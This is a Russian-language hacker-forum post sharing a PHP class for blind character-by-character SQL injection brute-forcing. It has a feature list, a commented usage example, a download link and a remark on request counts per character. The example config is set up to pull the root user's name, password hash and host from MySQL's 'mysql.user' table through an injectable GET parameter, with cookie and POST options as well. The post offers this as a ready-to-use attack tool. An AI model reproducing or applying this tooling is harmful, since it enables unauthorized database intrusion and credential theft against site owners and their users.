Выкладываю свой класс + пример его использования для посимвольного брута. ============================ Возможности: 1) Умеет работать с CHAR SQL INJ в GET, POST параметрах, а также в COOKIES 2) Может вести отладочный лог 3) Опция автоподсчета количества возвращаемых строк 4) Функция добавления директивы DISTINCT в SQL запрос + еще парочку простых но облегчающих работу функций ============================ Скриншот программы (включена опция VERBOSE): ============================ Пример использования класса: PHP: <?php /* ==================================================================================== MYSQL CHAR BRUTE HEX OPTIMIZED WITH DICHOTOMY METHOD BY scksql.aka.zEr0r [email protected] ==================================================================================== */ set_time_limit( 0 ); include( "char.brute.class.php" ); /* ============================ mini-FAQ ============================ ПРИМЕР ЗАДАНИЯ ПАРАМЕТРОВ ДЛЯ ПРОВЕДЕНИЯ ИНЪЕКЦИЙ В GET,POST,COOKIES: GET : "GET" => "/getContent/getNews.php?type=def&id=25%INJ%&ololo=true" POST : "POST" => "type=def&id=25%INJ%&ololo=true" COOKIES: "COOKIES" => array( "name1" => "value1", "type" => "def", "id" => "25%INJ%", "ololo=true" ) ============================ MAIN SETTINGS ============================ GET - адресный путь начиная от корня сайта (можно в него включить GET параметры) HOST - хост TRUE - фраза по которой скрипт будет считать, что сервер вернул TRUE ============================ ADDITIONAL SETTINGS ============================ POST - POST параметры COOKIES - ассоциативный массив вида array( "ИМЯ_КУКЫ1" => "ЗНАЧЕНИЕ1", "ИМЯ_КУКЫ2" => "ЗНАЧЕНИЕ2" ); COMMENT - комментарий вконец (оставить пустым, если не нужно) convert2win1251 - конвертировать полученную страницу в кодировку windows1251 BYTESGET - скачивать только первые N указанных байт (для экономии трафика), если не нужно оставить равным нулю VERBOSE - параметр, указывает, выводить ли скрипту служебную инфу, или только вытянутые данные LOG - вести лог в файл SLEEP - заснуть на N микросекунд после каждой передачи данных (1 секунда - 1000000) ============================ SQL QUERY SETTINGS ============================ ROW - ИМЯ ТАБЛИЦЫ FROM - таблица (оставить пустым, если FROM не нужен) LIMIT - LIMIT FROM TO - СКОЛЬКО СТРОЧЕК ВЫТЯНУТЬ, НАЧИНАЯ ОТ LIMIT С ШАГОМ +1 AUTOCOUNT - автоматически подсчитать количество строк которые вернутся DISTINCT - DISTINCT SQL запрос */ //////////PARAMS FOR SCRIPT WORK $PARAMS = array( /////SCRIPT PARAMS //////////////MAIN SETTINGS "GET" => "/folder1/folder2/?rubrik=123&artid=20%INJ%", "HOST" => "www.site.com", "TRUE" => "<title>массивная доска Triumph Дуб золотой без отбора, размер 400-1800х125х18мм</title>", /////////////////////////////// "POST" => "postparam1=true&postparam2=false", "COOKIES" => array( "PHPSESSID" => "84186ca302c89a1c364bd8382d336160" ), "COMMENT" => "/*", "convert2win1251" => 0, "BYTESGET" => 50000, "VERBOSE" => 1, "LOG" => 0, "SLEEP" => 0, /////SQL PARAMS "ROW" => "concat(user,0x3a,password,0x3a,host)", "FROM" => "mysql.user+WHERE+user=0x726f6f74", "LIMIT" => 0, "TO" => 1, // "AUTOCOUNT" => 1, "DISTINCT" => 0 ); //SELECT %ROW% FROM %FROM% LIMIT %LIMIT$, (%LIMIT+%TO%) $brute = new char_brute(); $brute->init ( $PARAMS ); ////инициализация параметров $brute->start (); ?> ============================ Скачать: http://ifolder.ru/20659090
в лучшем 10 итераций, в худшем - 12 на самом деле на 1 символ тратится минимум 5 максимум 6 запросов, но поскольку данные кодируются в hex, то необходимо 2 байта на 1 раскодированный символ